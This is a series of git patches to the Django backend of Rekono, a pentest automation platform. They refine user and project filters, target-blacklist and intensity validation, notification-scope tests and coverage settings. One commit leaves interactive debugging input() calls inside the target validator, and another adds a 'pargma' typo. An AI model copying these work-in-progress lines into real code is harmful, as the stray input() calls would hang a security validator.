path = self.data_dir / "wordlists" / "endpoints_wordlist.txt" self.wordlist = Wordlist.objects.create( name="test", type=WordlistType.ENDPOINT, - path=self.data_dir / "wordlists" / "endpoints_wordlist.txt", + path=path, + checksum=hashlib.sha512(path.read_bytes()).hexdigest(), ) def _setup_tasks_and_executions(self) -> None: diff --git a/src/backend/tests/test_users.py b/src/backend/tests/test_users.py index ada767023..2f46a8712 100644 --- a/src/backend/tests/test_users.py +++ b/src/backend/tests/test_users.py @@ -80,6 +80,60 @@ class UserTest(ApiTest): }, ], ), + ApiTestCase( + ["admin1"], + "get", + 200, + expected=[ + { + "id": 5, + "username": "reader1", + "role": Role.READER.value, + "is_active": True, + }, + { + "id": 3, + "username": "auditor1", + "role": Role.AUDITOR.value, + "is_active": True, + }, + { + "id": 1, + "username": "admin1", + "role": Role.ADMIN.value, + "is_active": True, + }, + ], + endpoint="{endpoint}?project=1", + ), + ApiTestCase( + ["admin1"], + "get", + 200, + expected=[ + { + "id": 6, + "username": "reader2", + "role": Role.READER.value, + "is_active": True, + }, + { + "id": 4, + "username": "auditor2", + "role": Role.AUDITOR.value, + "is_active": True, + }, + { + "id": 2, + "username": "admin2", + "role": Role.ADMIN.value, + "is_active": True, + }, + ], + endpoint="{endpoint}?no_project=1", + ), + ApiTestCase(["admin2"], "get", 200, endpoint="{endpoint}?project=1"), + ApiTestCase(["admin2"], "get", 200, endpoint="{endpoint}?no_project=1"), ApiTestCase( ["auditor1", "auditor2", "reader1", "reader2"], "post", 403, invitation1 ), @@ -256,6 +310,10 @@ class UserTest(ApiTest): ApiTestCase(["admin1", "admin2"], "get", 404, endpoint="{endpoint}8/"), ] + def setUp(self) -> None: + super().setUp() + self._setup_project() + def test_invite_and_create(self) -> None: client = self._get_api_client() response = client.post( @@ -293,7 +351,7 @@ def test_invite_and_create(self) -> None: new_user.is_active = True new_user.save(update_fields=["is_active"]) response = client.post(f"{self.endpoint}create/", data={"otp": otp, **user1}) - self.assertEqual(400, response.status_code) + self.assertEqual(401, response.status_code) new_user.is_active = None new_user.save(update_fields=["is_active"]) From e32c2d733839903e3844f9c5b88ae00fd6c549d9 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Fri, 8 Dec 2023 17:38:19 +0100 Subject: [PATCH 082/141] Improve unit tests coverage and fix some errors --- src/backend/tasks/serializers.py | 2 +- src/backend/tests/test_tasks.py | 12 +++++++-- src/backend/tests/test_users.py | 45 +++++++++++++++++++++++++++++++- src/backend/users/filters.py | 35 ++++++++++++------------- 4 files changed, 71 insertions(+), 23 deletions(-) diff --git a/src/backend/tasks/serializers.py b/src/backend/tasks/serializers.py index af3893a04..ebc8862f8 100644 --- a/src/backend/tasks/serializers.py +++ b/src/backend/tasks/serializers.py @@ -85,7 +85,7 @@ def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: tool=attrs.get("configuration").tool, value=attrs.get("intensity") ).exists(): raise ValidationError( - f'Invalid intensity {attrs["intensity"]} for tool {attrs["tool"].name}', + f'Invalid intensity {attrs["intensity"]} for tool {attrs.get("configuration").tool.name}', code="intensity", ) elif attrs.get("process"): diff --git a/src/backend/tests/test_tasks.py b/src/backend/tests/test_tasks.py index 0a030c6ad..c2cf44b56 100644 --- a/src/backend/tests/test_tasks.py +++ b/src/backend/tests/test_tasks.py @@ -5,10 +5,18 @@ from tests.framework import ApiTest from tools.enums import Intensity -task1 = {"target_id": 1, "configuration_id": 1, "intensity": Intensity.HARD.value} +task1 = { + "target_id": 1, + "configuration_id": 1, + "intensity": Intensity.HARD.name.capitalize(), +} task2 = {"target_id": 1, "process_id": 1} invalid_task1 = {"target_id": 1} -invalid_task2 = {**task1, "configuration_id": 25, "intensity": Intensity.SNEAKY.value} +invalid_task2 = { + **task1, + "configuration_id": 25, + "intensity": Intensity.SNEAKY.name.capitalize(), +} class TaskTest(ApiTest): diff --git a/src/backend/tests/test_users.py b/src/backend/tests/test_users.py index 2f46a8712..2818160a4 100644 --- a/src/backend/tests/test_users.py +++ b/src/backend/tests/test_users.py @@ -133,7 +133,50 @@ class UserTest(ApiTest): endpoint="{endpoint}?no_project=1", ), ApiTestCase(["admin2"], "get", 200, endpoint="{endpoint}?project=1"), - ApiTestCase(["admin2"], "get", 200, endpoint="{endpoint}?no_project=1"), + ApiTestCase( + ["admin2"], + "get", + 200, + expected=[ + { + "id": 6, + "username": "reader2", + "role": Role.READER.value, + "is_active": True, + }, + { + "id": 5, + "username": "reader1", + "role": Role.READER.value, + "is_active": True, + }, + { + "id": 4, + "username": "auditor2", + "role": Role.AUDITOR.value, + "is_active": True, + }, + { + "id": 3, + "username": "auditor1", + "role": Role.AUDITOR.value, + "is_active": True, + }, + { + "id": 2, + "username": "admin2", + "role": Role.ADMIN.value, + "is_active": True, + }, + { + "id": 1, + "username": "admin1", + "role": Role.ADMIN.value, + "is_active": True, + }, + ], + endpoint="{endpoint}?no_project=1", + ), ApiTestCase( ["auditor1", "auditor2", "reader1", "reader2"], "post", 403, invitation1 ), diff --git a/src/backend/users/filters.py b/src/backend/users/filters.py index 8734a6aee..a045fab86 100644 --- a/src/backend/users/filters.py +++ b/src/backend/users/filters.py @@ -8,11 +8,9 @@ class UserFilter(FilterSet): """FilterSet to filter and sort User entities.""" - project = NumberFilter(field_name="project", method="filter_project_members") - # Get users that aren't members of these project - no_project = NumberFilter( - field_name="project", method="filter_project_members", exclude=True - ) + project = NumberFilter(method="filter_project_members") + # Get users that aren't members of this project + no_project = NumberFilter(method="filter_no_project_members") role = CharFilter(field_name="groups__name") class Meta: @@ -29,24 +27,23 @@ class Meta: "groups": ["exact"], } - def filter_project_members( - self, queryset: QuerySet, name: str, value: int - ) -> QuerySet: - """Filter queryset, including only users that are members of a specific project. - - Args: - queryset (QuerySet): User queryset to be filtered - name (str): Field name, not used in this case - value (int): Project Id - - Returns: - QuerySet: Filtered queryset by project - """ + def _get_project_members(self, queryset: QuerySet, project_id: int) -> QuerySet: try: return ( - self.request.user.projects.get(pk=value) + self.request.user.projects.get(pk=project_id) .members.filter(is_active=True) .order_by("-id") ) except Project.DoesNotExist: return queryset.none() + + def filter_project_members( + self, queryset: QuerySet, name: str, value: int + ) -> QuerySet: + return self._get_project_members(queryset, value) + + def filter_no_project_members( + self, queryset: QuerySet, name: str, value: int + ) -> QuerySet: + project_members = self._get_project_members(queryset, value) + return User.objects.exclude(id__in=project_members.values_list("id", flat=True)) From 6d57efa7919233b9ce29a71dc5ff5e0f99d67ce3 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Fri, 8 Dec 2023 17:41:34 +0100 Subject: [PATCH 083/141] Raise controlled exception when an invalid intensity value is provided --- src/backend/framework/fields.py | 6 +++++- src/backend/tests/test_tasks.py | 2 +- 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/src/backend/framework/fields.py b/src/backend/framework/fields.py index ac828fac3..92c8d7635 100644 --- a/src/backend/framework/fields.py +++ b/src/backend/framework/fields.py @@ -1,5 +1,6 @@ from typing import Any +from django.forms import ValidationError from drf_spectacular.types import OpenApiTypes from drf_spectacular.utils import extend_schema_field from rest_framework.serializers import Field @@ -98,4 +99,7 @@ def to_internal_value(self, data: str) -> int: Returns: int: Integer value associated to the string """ - return self.model[data.upper()].value + try: + return self.model[data.upper()].value + except: + raise ValidationError(f"Invalid value", code=self.model.__class__.__name__) diff --git a/src/backend/tests/test_tasks.py b/src/backend/tests/test_tasks.py index c2cf44b56..798bb7f08 100644 --- a/src/backend/tests/test_tasks.py +++ b/src/backend/tests/test_tasks.py @@ -11,7 +11,7 @@ "intensity": Intensity.HARD.name.capitalize(), } task2 = {"target_id": 1, "process_id": 1} -invalid_task1 = {"target_id": 1} +invalid_task1 = {"target_id": 1, "intensity": 1} invalid_task2 = { **task1, "configuration_id": 25, From 96544c76018081cee665ca3f996e90e2ab450290 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Fri, 8 Dec 2023 18:05:23 +0100 Subject: [PATCH 084/141] Fix unit test error --- src/backend/platforms/defect_dojo/models.py | 2 +- src/backend/tests/cases.py | 22 +++---------------- .../platforms/defect_dojo/test_settings.py | 2 +- 3 files changed, 5 insertions(+), 21 deletions(-) diff --git a/src/backend/platforms/defect_dojo/models.py b/src/backend/platforms/defect_dojo/models.py index b9a85cb7c..39c3bc4c2 100644 --- a/src/backend/platforms/defect_dojo/models.py +++ b/src/backend/platforms/defect_dojo/models.py @@ -44,7 +44,7 @@ class DefectDojoSettings(BaseEncrypted): _encrypted_field = "_api_token" def __str__(self) -> str: - return self.server if self.server else self.__class__.__name__ + return self.server if self.server else super().__str__() class DefectDojoSync(BaseModel): diff --git a/src/backend/tests/cases.py b/src/backend/tests/cases.py index 0384673a5..2df18099b 100644 --- a/src/backend/tests/cases.py +++ b/src/backend/tests/cases.py @@ -45,12 +45,7 @@ def _check_response_content( else: if isinstance(value, list): self.tc.assertEqual(len(value), len(response.get(key, []))) - try: - self.tc.assertEqual(value, response.get(key)) - except Exception as ex: - print(self.__dict__) - input(response) - raise ex + self.tc.assertEqual(value, response.get(key)) def test_case(self, *args: Any, **kwargs: Any) -> None: for executor in self.executors: @@ -65,13 +60,7 @@ def test_case(self, *args: Any, **kwargs: Any) -> None: data=self.data or None, format=self.format, ) - try: - self.tc.assertEqual(self.status_code, response.status_code) - except Exception as ex: - print(self.__dict__) - print(response.status_code) - input(response.content) - raise ex + self.tc.assertEqual(self.status_code, response.status_code) content = json.loads((response.content or "{}".encode()).decode()) if self.expected is not None: if isinstance(self.expected, dict): @@ -113,12 +102,7 @@ def test_case(self, *args: Any, **kwargs: Any) -> None: kwargs["reports"] / kwargs["tool"].lower().replace(" ", "_"), ) parser.parse() - try: - self.tc.assertEqual(len(self.expected or []), len(parser.findings)) - except Exception as ex: - print(self.expected) - input(parser.findings) - raise ex + self.tc.assertEqual(len(self.expected or []), len(parser.findings)) for index, finding in enumerate(parser.findings): expected = self.expected[index] self.tc.assertTrue(isinstance(finding, expected.get("model"))) diff --git a/src/backend/tests/platforms/defect_dojo/test_settings.py b/src/backend/tests/platforms/defect_dojo/test_settings.py index 68768fe91..9ecdd7cd9 100644 --- a/src/backend/tests/platforms/defect_dojo/test_settings.py +++ b/src/backend/tests/platforms/defect_dojo/test_settings.py @@ -32,7 +32,7 @@ class DefectDojoSettingsTest(ApiTest): endpoint = "/api/defect-dojo/settings/1/" - expected_str = DefectDojoSettings.__class__.__name__ + expected_str = "DefectDojoSettings" cases = [ ApiTestCase(["auditor1", "auditor2", "reader1", "reader2"], "get", 403), ApiTestCase(["admin1", "admin2"], "get", 200, expected={"id": 1, **settings}), From bd2a55b041a9b8ae3b02d421af1f7491834ba50e Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Fri, 8 Dec 2023 18:41:20 +0100 Subject: [PATCH 085/141] Test OPTIONS request and ignore some lines in the coverage check --- .github/workflows/unit-tests.yml | 2 +- src/backend/framework/models.py | 4 ++-- src/backend/framework/views.py | 6 +++--- src/backend/security/middleware.py | 3 ++- src/backend/security/target_validator.py | 2 +- src/backend/tests/test_security.py | 11 +++++++++-- src/backend/tests/test_tasks.py | 4 +++- 7 files changed, 21 insertions(+), 11 deletions(-) diff --git a/.github/workflows/unit-tests.yml b/.github/workflows/unit-tests.yml index c9f4f3672..11e29225a 100644 --- a/.github/workflows/unit-tests.yml +++ b/.github/workflows/unit-tests.yml @@ -37,4 +37,4 @@ jobs: - name: Check coverage working-directory: src/backend - run: coverage report -m --skip-covered --omit="tests/*" --omit="platforms/telegram_app/bot/*" --omit="platforms/**/notifications.py" --fail-under=$REQUIRED_COVERAGE + run: coverage report -m --skip-covered --omit="tests/**" --omit="platforms/telegram_app/bot/**" --omit="platforms/telegram_app/framework.py" --omit="platforms/**/notifications.py" --fail-under=$REQUIRED_COVERAGE diff --git a/src/backend/framework/models.py b/src/backend/framework/models.py index 4ac85e073..916103b6f 100644 --- a/src/backend/framework/models.py +++ b/src/backend/framework/models.py @@ -20,7 +20,7 @@ def get_project(self) -> Any: for field in filter_field.split("__"): if hasattr(project, field): project = getattr(project, field) - else: + else: # pragma: no cover return None return project @@ -199,7 +199,7 @@ def parse( Returns: Dict[str, Any]: Useful information for tool executions, including accumulated if setted """ - return {} + return {} # pragma: no cover def get_input_type(self) -> Any: from input_types.models import InputType diff --git a/src/backend/framework/views.py b/src/backend/framework/views.py index 69c9ddfb8..665be8314 100644 --- a/src/backend/framework/views.py +++ b/src/backend/framework/views.py @@ -42,11 +42,11 @@ def _get_project_from_data( for field in fields[1:]: if hasattr(data, field): data = getattr(data, field) - else: + else: # pragma: no cover return None return data - def get_queryset(self) -> None: + def get_queryset(self) -> QuerySet: model = self._get_model() members_field = None if model: @@ -58,7 +58,7 @@ def get_queryset(self) -> None: if self.request.user.id: project_filter = {members_field: self.request.user} return super().get_queryset().filter(**project_filter) - else: + else: # pargma: no cover return None return super().get_queryset() diff --git a/src/backend/security/middleware.py b/src/backend/security/middleware.py index f27b5357c..6631ea839 100644 --- a/src/backend/security/middleware.py +++ b/src/backend/security/middleware.py @@ -72,6 +72,7 @@ def _http_options(self, request: HttpRequest) -> Response: response.renderer_context = {"request": request, "response": response} response = response.render() response["Allow"] = "GET, POST, PUT, DELETE, OPTIONS" + return response def _add_security_headers( self, request: HttpRequest, response: Response @@ -89,7 +90,7 @@ def _log_request_and_response(self, request: HttpRequest, response: Response): logger_level = logger.info if response.status_code >= 400 and response.status_code < 500: logger_level = logger.warning # Warning level for 4XX error responses - elif response.status_code >= 500: + elif response.status_code >= 500: # pragma: no cover logger_level = logger.error # Error level for 5XX error responses logger_level( f"{request.method} {request.get_full_path()} > HTTP {response.status_code}", diff --git a/src/backend/security/target_validator.py b/src/backend/security/target_validator.py index 05faa249c..993ef1e04 100644 --- a/src/backend/security/target_validator.py +++ b/src/backend/security/target_validator.py @@ -24,7 +24,7 @@ def __init__( self.target_blacklist = TargetBlacklist.objects.all().values_list( "target", flat=True ) - except: + except: # pragma: no cover self.target_blacklist = [] def __call__(self, value: str | None) -> None: diff --git a/src/backend/tests/test_security.py b/src/backend/tests/test_security.py index b1775c7cd..9fb4e79cb 100644 --- a/src/backend/tests/test_security.py +++ b/src/backend/tests/test_security.py @@ -1,9 +1,8 @@ import time from datetime import datetime, timedelta -from typing import Any, Dict from django.utils import timezone -from rest_framework.test import APIClient +from tests.cases import ApiTestCase from tests.framework import ApiTest @@ -11,6 +10,14 @@ class SecurityTest(ApiTest): refresh = "/api/security/refresh-token/" logout = "/api/security/logout/" api_tokens = "/api/api-tokens/" + cases = [ + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "options", + 200, + endpoint=ApiTest.login, + ) + ] def test_refresh_and_logout(self) -> None: # Login as admin1 diff --git a/src/backend/tests/test_tasks.py b/src/backend/tests/test_tasks.py index 798bb7f08..814b651e5 100644 --- a/src/backend/tests/test_tasks.py +++ b/src/backend/tests/test_tasks.py @@ -12,7 +12,8 @@ } task2 = {"target_id": 1, "process_id": 1} invalid_task1 = {"target_id": 1, "intensity": 1} -invalid_task2 = { +invalid_task2 = {"target_id": 1} +invalid_task3 = { **task1, "configuration_id": 25, "intensity": Intensity.SNEAKY.name.capitalize(), @@ -118,6 +119,7 @@ class TaskTest(ApiTest): ), ApiTestCase(["admin1", "auditor1"], "post", 400, invalid_task1), ApiTestCase(["admin1", "auditor1"], "post", 400, invalid_task2), + ApiTestCase(["admin1", "auditor1"], "post", 400, invalid_task3), ApiTestCase(["admin2", "auditor2", "reader1", "reader2"], "post", 403, task1), ApiTestCase( ["admin1"], From b91d7845d1ee485b628add9afc7a11aeff1b5ebc Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Fri, 8 Dec 2023 19:02:31 +0100 Subject: [PATCH 086/141] Improve coverage in input validation tests --- src/backend/security/target_validator.py | 15 +++--- src/backend/tests/test_api_tokens.py | 2 +- src/backend/tests/test_target_blacklist.py | 57 +++++++++++++++++++--- src/backend/tests/test_tasks.py | 3 ++ src/backend/tests/test_users.py | 29 ++++++++--- 5 files changed, 85 insertions(+), 21 deletions(-) diff --git a/src/backend/security/target_validator.py b/src/backend/security/target_validator.py index 993ef1e04..7376f95b1 100644 --- a/src/backend/security/target_validator.py +++ b/src/backend/security/target_validator.py @@ -36,12 +36,15 @@ def __call__(self, value: str | None) -> None: params={"value": value}, ) for denied_value in self.target_blacklist: - if re.fullmatch(denied_value, value): - raise ValidationError( - f"Target is disallowed by policy", - code=self.code, - params={"value": value}, - ) + try: + if re.fullmatch(denied_value, value): + raise ValidationError( + f"Target is disallowed by policy", + code=self.code, + params={"value": value}, + ) + except: + continue for address_class, network_class in [ (ipaddress.IPv4Address, ipaddress.IPv4Network), (ipaddress.IPv6Address, ipaddress.IPv6Network), diff --git a/src/backend/tests/test_api_tokens.py b/src/backend/tests/test_api_tokens.py index 98ca9ce92..3513fb13a 100644 --- a/src/backend/tests/test_api_tokens.py +++ b/src/backend/tests/test_api_tokens.py @@ -11,7 +11,7 @@ } invalid_api_token = { "name": "test;1", - "expiration": (datetime.now() + timedelta(days=365)).isoformat() + "Z", + "expiration": (datetime.now() - timedelta(days=365)).isoformat() + "Z", } diff --git a/src/backend/tests/test_target_blacklist.py b/src/backend/tests/test_target_blacklist.py index 215f50032..48b1789e7 100644 --- a/src/backend/tests/test_target_blacklist.py +++ b/src/backend/tests/test_target_blacklist.py @@ -5,8 +5,10 @@ from tests.framework import ApiTest default_blacklist_1 = {"id": 1, "default": True, "target": "127.0.0.1"} -target_blacklist = {"target": "*.rekono.com"} -new_target_blacklist = {"target": "*.new.rekono.com"} +target_blacklist1 = {"target": "rekono.com"} +target_blacklist2 = {"target": ".*\.rekono.com"} +target_blacklist3 = {"target": "10.10.10.0/24"} +new_target_blacklist = {"target": ".*\.new.rekono.com"} invalid_blacklist = {"target": "*.rekono;com"} @@ -33,23 +35,58 @@ class TargetBlacklistTest(ApiTest): ["auditor1", "auditor2", "reader1", "reader2"], "post", 403, - data=target_blacklist, + data=target_blacklist1, ), ApiTestCase( ["admin1"], "post", 201, - data=target_blacklist, - expected={"id": 14, "default": False, **target_blacklist}, + data=target_blacklist1, + expected={"id": 14, "default": False, **target_blacklist1}, ), - ApiTestCase(["admin2"], "post", 400, data=target_blacklist), + ApiTestCase(["admin2"], "post", 400, data=target_blacklist1), ApiTestCase( ["admin1", "admin2"], "get", 200, - expected={"id": 14, "default": False, **target_blacklist}, + expected={"id": 14, "default": False, **target_blacklist1}, endpoint="{endpoint}14/", ), + ApiTestCase( + ["admin2"], + "post", + 201, + data=target_blacklist2, + expected={"id": 15, "default": False, **target_blacklist2}, + ), + ApiTestCase( + ["admin1"], + "post", + 201, + data=target_blacklist3, + expected={"id": 16, "default": False, **target_blacklist3}, + ), + ApiTestCase( + ["admin1", "auditor1"], + "post", + 400, + {"project": 1, "target": "rekono.com"}, + endpoint="/api/targets/", + ), + ApiTestCase( + ["admin1", "auditor1"], + "post", + 400, + {"project": 1, "target": "subdomain.rekono.com"}, + endpoint="/api/targets/", + ), + ApiTestCase( + ["admin1", "auditor1"], + "post", + 400, + {"project": 1, "target": "10.10.10.1"}, + endpoint="/api/targets/", + ), ApiTestCase( ["admin1", "admin2"], "put", @@ -87,6 +124,8 @@ class TargetBlacklistTest(ApiTest): ), ApiTestCase(["admin2"], "delete", 204, endpoint="{endpoint}14/"), ApiTestCase(["admin1"], "delete", 404, endpoint="{endpoint}14/"), + ApiTestCase(["admin1"], "delete", 204, endpoint="{endpoint}15/"), + ApiTestCase(["admin2"], "delete", 204, endpoint="{endpoint}16/"), ApiTestCase( ["admin1", "admin2"], "get", @@ -97,5 +136,9 @@ class TargetBlacklistTest(ApiTest): ApiTestCase(["admin1", "admin2"], "get", 404, endpoint="{endpoint}14/"), ] + def setUp(self) -> None: + super().setUp() + self._setup_project() + def _get_object(self) -> Any: return TargetBlacklist.objects.first() diff --git a/src/backend/tests/test_tasks.py b/src/backend/tests/test_tasks.py index 814b651e5..205aebd38 100644 --- a/src/backend/tests/test_tasks.py +++ b/src/backend/tests/test_tasks.py @@ -1,6 +1,7 @@ from typing import Any from executions.enums import Status +from tasks.enums import TimeUnit from tests.cases import ApiTestCase from tests.framework import ApiTest from tools.enums import Intensity @@ -18,6 +19,7 @@ "configuration_id": 25, "intensity": Intensity.SNEAKY.name.capitalize(), } +invalid_task4 = {**task1, "scheduled_in": -1, "scheduled_time_unit": TimeUnit.MINUTES} class TaskTest(ApiTest): @@ -120,6 +122,7 @@ class TaskTest(ApiTest): ApiTestCase(["admin1", "auditor1"], "post", 400, invalid_task1), ApiTestCase(["admin1", "auditor1"], "post", 400, invalid_task2), ApiTestCase(["admin1", "auditor1"], "post", 400, invalid_task3), + ApiTestCase(["admin1", "auditor1"], "post", 400, invalid_task4), ApiTestCase(["admin2", "auditor2", "reader1", "reader2"], "post", 403, task1), ApiTestCase( ["admin1"], diff --git a/src/backend/tests/test_users.py b/src/backend/tests/test_users.py index 2818160a4..f823a0bdf 100644 --- a/src/backend/tests/test_users.py +++ b/src/backend/tests/test_users.py @@ -19,7 +19,11 @@ "telegram_notifications": False, } new_valid_password = "NeW.Pa$$W0rd" -new_invalid_password = "new password" +invalid_password1 = "new;password" +invalid_password2 = "NEWPASSWORD" +invalid_password3 = "newpassword" +invalid_password4 = "NEWpassword" +invalid_password5 = "NEWpassword5" user1 = { "username": "test1", @@ -27,9 +31,13 @@ "last_name": "test", "password": new_valid_password, } -invalid_user1 = {**user1, "username": "test;1"} -invalid_user2 = {**user1, "password": new_invalid_password} -invalid_user3 = {**user1, "first_name": "test;1"} + +invalid_user1 = {**user1, "password": invalid_password1} +invalid_user2 = {**user1, "password": invalid_password2} +invalid_user3 = {**user1, "password": invalid_password3} +invalid_user4 = {**user1, "password": invalid_password4} +invalid_user5 = {**user1, "password": invalid_password5} +invalid_user6 = {**user1, "username": "test;1", "first_name": "test;1"} class UserTest(ApiTest): @@ -385,7 +393,14 @@ def test_invite_and_create(self) -> None: ) self.assertEqual(401, response.status_code) - for invalid_user in [invalid_user1, invalid_user2, invalid_user3]: + for invalid_user in [ + invalid_user1, + invalid_user2, + invalid_user3, + invalid_user4, + invalid_user5, + invalid_user6, + ]: response = client.post( f"{self.endpoint}create/", data={"otp": otp, **invalid_user} ) @@ -471,7 +486,7 @@ class Profile(ApiTest): ["admin1"], "put", 400, - {"password": new_invalid_password, "old_password": "admin1"}, + {"password": invalid_password1, "old_password": "admin1"}, endpoint="/api/security/update-password/", ), ApiTestCase( @@ -525,7 +540,7 @@ def test_reset_password(self) -> None: response = client.put( self.endpoint, - data={"otp": otp, "password": new_invalid_password}, + data={"otp": otp, "password": invalid_password2}, ) self.assertEqual(400, response.status_code) From 4798a5750de3c0fe98f4ec756b38d3827604be19 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Fri, 8 Dec 2023 19:47:42 +0100 Subject: [PATCH 087/141] Improve unit tests coverage for notifications scope --- src/backend/framework/platforms.py | 13 ++++---- src/backend/platforms/mail/notifications.py | 2 +- src/backend/security/target_validator.py | 15 +++++---- src/backend/tests/cases.py | 7 ++++- src/backend/tests/test_target_blacklist.py | 4 +-- src/backend/tests/test_tools.py | 35 +++++++++++++++++++-- src/backend/tests/test_users.py | 31 ++++++++++++++++++ src/backend/users/models.py | 7 ++--- 8 files changed, 89 insertions(+), 25 deletions(-) diff --git a/src/backend/framework/platforms.py b/src/backend/framework/platforms.py index eb07d216f..f4690c943 100644 --- a/src/backend/framework/platforms.py +++ b/src/backend/framework/platforms.py @@ -60,14 +60,13 @@ def _get_users_to_notify(self, execution: Execution) -> List[Any]: and getattr(execution.task.executor, self.enable_field) ): users.add(execution.task.executor) - search = { - self.enable_field: True, - "notification_scope": Notification.ALL_EXECUTIONS, - } users.update( - execution.task.target.project.members.filter(**search).exclude( - id=execution.task.executor.id - ) + execution.task.target.project.members.filter( + **{ + self.enable_field: True, + "notification_scope": Notification.ALL_EXECUTIONS, + } + ).exclude(id=execution.task.executor.id) ) return users diff --git a/src/backend/platforms/mail/notifications.py b/src/backend/platforms/mail/notifications.py index a3828e71a..5d14030fc 100644 --- a/src/backend/platforms/mail/notifications.py +++ b/src/backend/platforms/mail/notifications.py @@ -16,7 +16,7 @@ class SMTP(BaseNotification): - enable_field = "email_notification" + enable_field = "email_notifications" def __init__(self) -> None: self.settings = SMTPSettings.objects.first() diff --git a/src/backend/security/target_validator.py b/src/backend/security/target_validator.py index 7376f95b1..16789f17a 100644 --- a/src/backend/security/target_validator.py +++ b/src/backend/security/target_validator.py @@ -29,6 +29,8 @@ def __init__( def __call__(self, value: str | None) -> None: super().__call__(value) + input(TargetBlacklist.objects.all().values_list("target", flat=True)) + input(self.target_blacklist) if value in self.target_blacklist: raise ValidationError( f"Target is disallowed by policy", @@ -37,14 +39,15 @@ def __call__(self, value: str | None) -> None: ) for denied_value in self.target_blacklist: try: - if re.fullmatch(denied_value, value): - raise ValidationError( - f"Target is disallowed by policy", - code=self.code, - params={"value": value}, - ) + match = re.fullmatch(denied_value, value) except: continue + if match: + raise ValidationError( + f"Target is disallowed by policy", + code=self.code, + params={"value": value}, + ) for address_class, network_class in [ (ipaddress.IPv4Address, ipaddress.IPv4Network), (ipaddress.IPv6Address, ipaddress.IPv6Network), diff --git a/src/backend/tests/cases.py b/src/backend/tests/cases.py index 2df18099b..ff4781d3c 100644 --- a/src/backend/tests/cases.py +++ b/src/backend/tests/cases.py @@ -60,7 +60,12 @@ def test_case(self, *args: Any, **kwargs: Any) -> None: data=self.data or None, format=self.format, ) - self.tc.assertEqual(self.status_code, response.status_code) + try: + self.tc.assertEqual(self.status_code, response.status_code) + except Exception as ex: + print(response.content) + print(self.expected) + raise ex content = json.loads((response.content or "{}".encode()).decode()) if self.expected is not None: if isinstance(self.expected, dict): diff --git a/src/backend/tests/test_target_blacklist.py b/src/backend/tests/test_target_blacklist.py index 48b1789e7..3da479b92 100644 --- a/src/backend/tests/test_target_blacklist.py +++ b/src/backend/tests/test_target_blacklist.py @@ -6,9 +6,9 @@ default_blacklist_1 = {"id": 1, "default": True, "target": "127.0.0.1"} target_blacklist1 = {"target": "rekono.com"} -target_blacklist2 = {"target": ".*\.rekono.com"} +target_blacklist2 = {"target": ".*\.rekono\.com"} target_blacklist3 = {"target": "10.10.10.0/24"} -new_target_blacklist = {"target": ".*\.new.rekono.com"} +new_target_blacklist = {"target": ".*\.new\.rekono.com"} invalid_blacklist = {"target": "*.rekono;com"} diff --git a/src/backend/tests/test_tools.py b/src/backend/tests/test_tools.py index 908cab8d3..4b3e50c19 100644 --- a/src/backend/tests/test_tools.py +++ b/src/backend/tests/test_tools.py @@ -2,7 +2,8 @@ from tests.cases import ApiTestCase from tests.framework import ApiTest -from tools.models import Configuration, Tool +from tools.enums import Intensity as IntensityEnum +from tools.models import Argument, Configuration, Input, Intensity, Output, Tool nmap = "Nmap" the_harvester = "theHarvester" @@ -105,7 +106,7 @@ class ToolTest(ApiTest): ] def _get_object(self) -> Any: - return Tool.objects.first() + return Tool.objects.get(pk=1) first_nmap_configuration = "TCP ports" @@ -130,4 +131,32 @@ class ConfigurationTest(ApiTest): ] def _get_object(self) -> Any: - return Configuration.objects.first() + return Configuration.objects.get(pk=1) + + +class IntensityTest(ApiTest): + expected_str = f"{nmap} - {IntensityEnum.SNEAKY.name}" + + def _get_object(self) -> Any: + return Intensity.objects.get(pk=1) + + +class ArgumentTest(ApiTest): + expected_str = f"{nmap} - host" + + def _get_object(self) -> Any: + return Argument.objects.get(pk=1) + + +class InputTest(ApiTest): + expected_str = f"{nmap} - host - Host" + + def _get_object(self) -> Any: + return Input.objects.get(pk=1) + + +class OutputTest(ApiTest): + expected_str = f"{nmap} - {first_nmap_configuration} - Host" + + def _get_object(self) -> Any: + return Output.objects.get(pk=1) diff --git a/src/backend/tests/test_users.py b/src/backend/tests/test_users.py index f823a0bdf..803efe69e 100644 --- a/src/backend/tests/test_users.py +++ b/src/backend/tests/test_users.py @@ -1,5 +1,6 @@ from typing import Any +from platforms.mail.notifications import SMTP from security.authorization.roles import Role from security.cryptography.hashing import hash from tests.cases import ApiTestCase @@ -437,6 +438,12 @@ def test_invite_and_create(self) -> None: response = authenticated_client.get(self.profile) self.assertEqual(200, response.status_code) + def test_create_superuser(self) -> None: + value = "superuser" + superuser = User.objects.create_superuser(value, f"{value}@rekono.com", value) + self.assertTrue(superuser.is_active) + self.assertEqual(Role.ADMIN.value, superuser.groups.first().name) + def _get_object(self) -> Any: return self.admin1 @@ -505,6 +512,30 @@ class Profile(ApiTest): ), ] + def test_notification_scope(self) -> None: + self._setup_tasks_and_executions() + notification = SMTP() + users_to_notify = list(notification._get_users_to_notify(self.execution1)) + self.assertEqual(1, len(users_to_notify)) + self.assertEqual(self.admin1, users_to_notify[0]) + + for user_not_executor in [self.auditor1, self.reader1]: + user_not_executor.notification_scope = Notification.ALL_EXECUTIONS + user_not_executor.save(update_fields=["notification_scope"]) + + users_to_notify = list(notification._get_users_to_notify(self.execution1)) + self.assertEqual(3, len(users_to_notify)) + self.assertEqual(self.admin1, users_to_notify[0]) + self.assertEqual(self.auditor1, users_to_notify[1]) + self.assertEqual(self.reader1, users_to_notify[2]) + + self.admin1.notification_scope = Notification.DISABLED + self.admin1.save(update_fields=["notification_scope"]) + users_to_notify = list(notification._get_users_to_notify(self.execution1)) + self.assertEqual(2, len(users_to_notify)) + self.assertEqual(self.auditor1, users_to_notify[0]) + self.assertEqual(self.reader1, users_to_notify[1]) + class ResetPasswordTest(ApiTest): endpoint = "/api/security/reset-password/" diff --git a/src/backend/users/models.py b/src/backend/users/models.py index 3bd85a902..19c25a7e4 100644 --- a/src/backend/users/models.py +++ 